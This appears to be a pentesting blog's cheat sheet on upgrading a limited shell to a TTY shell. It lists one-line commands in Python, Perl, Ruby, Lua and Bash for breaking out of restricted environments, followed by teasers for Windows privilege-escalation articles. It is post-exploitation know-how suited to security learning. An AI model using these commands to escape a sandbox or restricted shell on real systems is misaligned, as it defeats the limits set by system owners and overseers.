
Spawning a TTY Shell
Learn how to spawn a TTY shell using Python and Bash.
Spawning a TTY Shell – Break out of Jail or limited shell
A TTY shell is a shell that is connected to a TTY device. It is a terminal that allows you to interact with the system. When you have a limited shell, you can spawn a TTY shell to break out of the restricted environment and gain full access to the system.
Python
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'Perl
perl -e 'exec "/bin/sh";'Ruby
ruby -e 'exec "/bin/sh"'lua
os.execute('/bin/sh')Bash
echo os.system('/bin/bash')
/bin/sh -iRelated Articles

Windows Service Privilege Escalation
Introduction In today’s tutorial, we’ll walk through a Windows privilege escalation technique that leverages insecure service permissions. This method is particularly useful when you’ve already exploited a vulnerability on a Windows machine using a publicly av
Udesh

Abusing SeLoadDriverPrivilege for Privilege Escalation
Abusing SeLoadDriverPrivilege for Privilege Escalation In the complex world of Windows security, understanding the permissions and privileges granted to various services and user accounts is crucial. One such privilege, SeLoadDriverPrivilege, plays a significa
Udesh

Windows Privilege Escalation DNSAdmin to Domain Admin DLL Injection.
Hi everyone, today I will be writing about a privilege escalation technique that I used in a recent pentest. This technique is a bit different from the usual ones and I thought it would be a good idea to share it with you all. Introduction DNSAdmin to Domain A
Udesh